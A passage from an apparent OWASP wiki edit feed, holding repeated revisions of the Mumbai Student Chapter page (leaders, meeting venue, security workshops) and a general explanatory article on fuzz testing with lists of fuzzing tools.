== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event's taken==&lt;br /&gt;
Date : &lt;br /&gt;
  30-06-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Web Application Security&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241398</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241398"/>
				<updated>2018-06-19T12:40:26Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Event Taken */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  30-06-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Web Application Security&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241397</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241397"/>
				<updated>2018-06-19T12:39:52Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Event Taken */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  30-06-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Web Application Security&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=240682</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=240682"/>
				<updated>2018-05-13T08:18:00Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  05-05-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 1:00 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Mobile Application Testing&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
Speaker  :&lt;br /&gt;
  Benedict Charles&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Fuzzing&amp;diff=240548</id>
		<title>Fuzzing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Fuzzing&amp;diff=240548"/>
				<updated>2018-05-09T14:27:07Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Added BFuzz */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Fuzz testing'' or ''Fuzzing'' is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.&lt;br /&gt;
&lt;br /&gt;
== A trivial example ==&lt;br /&gt;
&lt;br /&gt;
Lets's consider an integer in a program, which stores the result of a user's choice between 3 questions. When the user picks one, the choice will be 0, 1 or 2. Which makes three practical cases. But what if we transmit 3, or 255 ? We can, because integers are stored a static size variable. If the default switch case hasn't been implemented securely, the program may crash and lead to &amp;quot;classical&amp;quot; security issues: (un)exploitable buffer overflows, DoS, ...&lt;br /&gt;
&lt;br /&gt;
Fuzzing is the art of automatic bug finding, and it's role is to find software implementation faults, and identify them if possible.&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
&lt;br /&gt;
Fuzz testing was developed at the University of Wisconsin Madison in 1989 by Professor Barton Miller and his students. Their (continued) work can be found at http://www.cs.wisc.edu/~bart/fuzz/ ; it's mainly oriented towards command-line and UI fuzzing, and shows that modern operating systems are vulnerable to even simple fuzzing.&lt;br /&gt;
&lt;br /&gt;
== Fuzzer implementations ==&lt;br /&gt;
&lt;br /&gt;
A fuzzer is a program which injects automatically semi-random data into a program/stack and detect bugs.&lt;br /&gt;
&lt;br /&gt;
The data-generation part is made of generators, and vulnerability identification relies on debugging tools. Generators usually use combinations of static fuzzing vectors (known-to-be-dangerous values), or totally random data. New generation fuzzers use genetic algorithms to link injected data and observed impact. Such tools are not public yet.&lt;br /&gt;
&lt;br /&gt;
== Comparison with cryptanalysis ==&lt;br /&gt;
&lt;br /&gt;
The number of possible tryable solutions is ''the explorable solutions space''. The aim of cryptanalysis is to reduce this space, which means finding a way of having less keys to try than pure bruteforce to decrypt something. &lt;br /&gt;
&lt;br /&gt;
Most of the fuzzers are:&lt;br /&gt;
&lt;br /&gt;
* protocol/file-format dependant&lt;br /&gt;
&lt;br /&gt;
* data-type dependant&lt;br /&gt;
&lt;br /&gt;
Why?&lt;br /&gt;
&lt;br /&gt;
* First, because the fuzzer has to connect to the input channel, which is bound to the target.&lt;br /&gt;
&lt;br /&gt;
* Second, because a program only understands structured-enough data. If you connect to a web server in a raw way, it will only respond to listed commands such as GET (or eventually crash). It will take less time to start the string with &amp;quot;GET &amp;quot;, and fuzz the rest, but the drawback is that you'll skip all the tests on the first verb.&lt;br /&gt;
&lt;br /&gt;
In this regard, Fuzzers try to reduce the number of unuseful tests, i.e. the values we already know that there's little chance they'll work: you reduce unpredictability, in favor of speed.&lt;br /&gt;
&lt;br /&gt;
== Attack types ==&lt;br /&gt;
&lt;br /&gt;
A fuzzer would try combinations of attacks on:&lt;br /&gt;
&lt;br /&gt;
* numbers (signed/unsigned integers/float...)&lt;br /&gt;
&lt;br /&gt;
* chars (urls, command-line inputs)&lt;br /&gt;
&lt;br /&gt;
* metadata : user-input text (id3 tag)&lt;br /&gt;
&lt;br /&gt;
* pure binary sequences&lt;br /&gt;
&lt;br /&gt;
A common approach to fuzzing is to define lists of &amp;quot;known-to-be-dangerous values&amp;quot; (''fuzz vectors'') for each type, and to inject them or recombinations.&lt;br /&gt;
&lt;br /&gt;
* for integers: zero, possibly negative or very big numbers&lt;br /&gt;
&lt;br /&gt;
* for chars: escaped, interpretable characters / instructions (ex: For SQL Requests, quotes / commands...)&lt;br /&gt;
&lt;br /&gt;
* for binary: random ones&lt;br /&gt;
&lt;br /&gt;
Please refer to [[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|OWASP's Fuzz Vector's resource]] for real-life fuzzing vectors examples and methodology.&lt;br /&gt;
&lt;br /&gt;
Protocols and file formats imply norms, which are sometimes blurry, very complicated or badly implemented : that's why developers sometimes mess up in the implementation process (because of time/cost constraints). That's why it can be interesting to take the opposite approach: take a norm, look at all mandatory features and constraints, and try all of them; forbidden/reserved values, linked parameters, field sizes. That would be ''conformance testing oriented'' fuzzing.&lt;br /&gt;
&lt;br /&gt;
== Application fuzzing ==&lt;br /&gt;
&lt;br /&gt;
Whatever the fuzzed system is, the attack vectors are within it's I/O. For a desktop app:&lt;br /&gt;
&lt;br /&gt;
* the UI (testing all the buttons sequences / text inputs)&lt;br /&gt;
&lt;br /&gt;
* the command-line options&lt;br /&gt;
&lt;br /&gt;
* the import/export capabilities (see file format fuzzing below)&lt;br /&gt;
&lt;br /&gt;
For a web app: urls, forms, user-generated content, RPC requests, ...&lt;br /&gt;
&lt;br /&gt;
== Protocol fuzzing ==&lt;br /&gt;
&lt;br /&gt;
A protocol fuzzer sends forged packets to the tested application, or eventually acts as a proxy, modifying requests on the fly and replaying them.&lt;br /&gt;
&lt;br /&gt;
== File format fuzzing ==&lt;br /&gt;
&lt;br /&gt;
A file format fuzzer generates multiple malformed samples, and opens them sequentially. When the program crashes, debug information is kept for further investigation.&lt;br /&gt;
&lt;br /&gt;
One can attack:&lt;br /&gt;
&lt;br /&gt;
* the parser layer (container layer): file format constraints, structure, conventions, field sizes, flags, ...&lt;br /&gt;
&lt;br /&gt;
* the codec/application layer: lower-level attacks, aiming at the program's deeper internals&lt;br /&gt;
&lt;br /&gt;
One example of file format related vulnerabilities: [http://www.microsoft.com/technet/security/bulletin/ms04-028.mspx MS04-028] (KB833987) Microsoft's JPEG GDI+ vulnerability was a zero sized comment field, without content.&lt;br /&gt;
&lt;br /&gt;
Surprisingly, file format fuzzers are not that common, but tend to appear these days; some examples:&lt;br /&gt;
&lt;br /&gt;
* A generic file format fuzzer : [http://www.digitaldwarf.be/products/mangle.c Ilja van Sprundel's mangle.c]; &amp;quot;it's usage is very simple, it takes a filename and headersize as input. it will then change approximatly between 0 and 10% of the header with random bytes.&amp;quot; (from the author)&lt;br /&gt;
&lt;br /&gt;
* Zzuf can act as a fuzzed file generator, http://sam.zoy.org/zzuf/&lt;br /&gt;
&lt;br /&gt;
* One may use tools like [http://hachoir.org/ Hachoir] as a generic parser for file format fuzzer development.&lt;br /&gt;
&lt;br /&gt;
== Fuzzers advantages ==&lt;br /&gt;
&lt;br /&gt;
''The great advantage of fuzz testing is that the test design is extremely simple, and free of preconceptions about system behavior'' (from Wikipedia http://en.wikipedia.org/wiki/Fuzz_testing).&lt;br /&gt;
&lt;br /&gt;
The systematical/random approach allows this method to find bugs that would have often been missed by human eyes. Plus, when the tested system is totally closed (say, a SIP phone), fuzzing is one of the only means of reviewing it's quality.&lt;br /&gt;
&lt;br /&gt;
== Fuzzers limitations ==&lt;br /&gt;
&lt;br /&gt;
Fuzzers usually tend to find simple bugs; plus, the more a fuzzer is protocol-aware, the less weird errors it will find. This is why the exhaustive / random approach is still popular among the fuzzing community.&lt;br /&gt;
&lt;br /&gt;
Another problem is that when you do some black-box-testing, you usually attack a closed system, which increases difficulty to evaluate the dangerosity/impact of the found vulnerability (no debugging possibilities).&lt;br /&gt;
&lt;br /&gt;
== Why Fuzz? ==&lt;br /&gt;
&lt;br /&gt;
The purpose of fuzzing relies on the assumption that there are bugs within every program, which are waiting to be discovered. Therefore, a systematical approach should find them sooner or later.&lt;br /&gt;
&lt;br /&gt;
Fuzzing can add another point of view to classical software testing techniques (hand code review, debugging) because of it's non-human approach. It doesn't replace them,  but is a reasonable complement, thanks to the limited work needed to put the procedure in place.&lt;br /&gt;
&lt;br /&gt;
Recent fuzzing initiatives:&lt;br /&gt;
&lt;br /&gt;
* The [http://projects.info-pull.com/mokb/ Month of Kernel Bugs], which revealed an Apple Wireless flaw; see http://kernelfun.blogspot.com/; mainly used file system fuzzing tools&lt;br /&gt;
&lt;br /&gt;
* The [http://browserfun.blogspot.com/ Month of Browser Bugs] ([http://osvdb.org/blog/?p=127 review here]); number of bugs found: MSIE: 25 Apple Safari: 2 Mozilla: 2 Opera: 1 Konqueror: 1; used DHTML, Css, DOM, ActiveX fuzzing tools&lt;br /&gt;
&lt;br /&gt;
== Fuzzers from OWASP ==&lt;br /&gt;
&lt;br /&gt;
Fuzzing with [[WebScarab]]: a framework for analysing applications that communicate using the HTTP and HTTPS protocols&lt;br /&gt;
&lt;br /&gt;
[[JBroFuzz]]: a web application fuzzer&lt;br /&gt;
&lt;br /&gt;
[[WSFuzzer]]: real-world manual SOAP pen testing tool&lt;br /&gt;
&lt;br /&gt;
== Technical resources on OWASP  ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP Testing Guide Appendix C: Fuzz Vectors]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
Wikipedia article - http://en.wikipedia.org/wiki/Fuzz_testing&lt;br /&gt;
&lt;br /&gt;
Fuzzing-related papers - http://www.threatmind.net/secwiki/FuzzingPapers&lt;br /&gt;
&lt;br /&gt;
[https://web.archive.org/web/20090202043027/http://www.whitestar.linuxbox.org/pipermail/fuzzing/ The fuzzing mailing list archive]&lt;br /&gt;
&lt;br /&gt;
== Fuzzing tools ==&lt;br /&gt;
&lt;br /&gt;
=== Open Source ===&lt;br /&gt;
&lt;br /&gt;
==== Mutational Fuzzers ====&lt;br /&gt;
[https://en.wikipedia.org/wiki/American_fuzzy_lop_(fuzzer) american fuzzy lop]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aoh/radamsa Radamsa - a flock of fuzzers]&lt;br /&gt;
&lt;br /&gt;
==== Fuzzing Frameworks ====&lt;br /&gt;
[https://github.com/OpenRCE/sulley Sulley Fuzzing Framework]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/jtpereyda/boofuzz boofuzz]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RootUp/BFuzz BFuzz]&lt;br /&gt;
&lt;br /&gt;
==== Domain-Specific Fuzzers ====&lt;br /&gt;
&lt;br /&gt;
[http://www.microsoft.com/download/en/details.aspx?id=21769 Microsoft SDL MiniFuzz File Fuzzer]&lt;br /&gt;
&lt;br /&gt;
[http://www.microsoft.com/download/en/details.aspx?id=20095 Microsoft SDL Regex Fuzzer]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nradov/abnffuzzer ABNF Fuzzer]&lt;br /&gt;
&lt;br /&gt;
=== Commercial products ===&lt;br /&gt;
&lt;br /&gt;
[http://www.codenomicon.com/products/all.shtml Codenomicon's product suite]&lt;br /&gt;
&lt;br /&gt;
[http://peachfuzzer.com Peach Fuzzing Platform]&lt;br /&gt;
&lt;br /&gt;
[http://www.spirent.com/Products/AvalancheNEXT Spirent Avalanche NEXT]&lt;br /&gt;
&lt;br /&gt;
[http://www.beyondsecurity.com/bestorm_overview.html Beyond Security's beSTORM product]&lt;br /&gt;
[[Category:Externally Linked Page]]&lt;br /&gt;
&lt;br /&gt;
=== Deprecated Tools ===&lt;br /&gt;
&lt;br /&gt;
[http://www.bonsai-sec.com/en/research/untidy-xml-fuzzer.php Untidy - XML Fuzzer] (Now integrated into Peach)&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=240331</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=240331"/>
				<updated>2018-04-30T16:01:05Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Events Taken */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
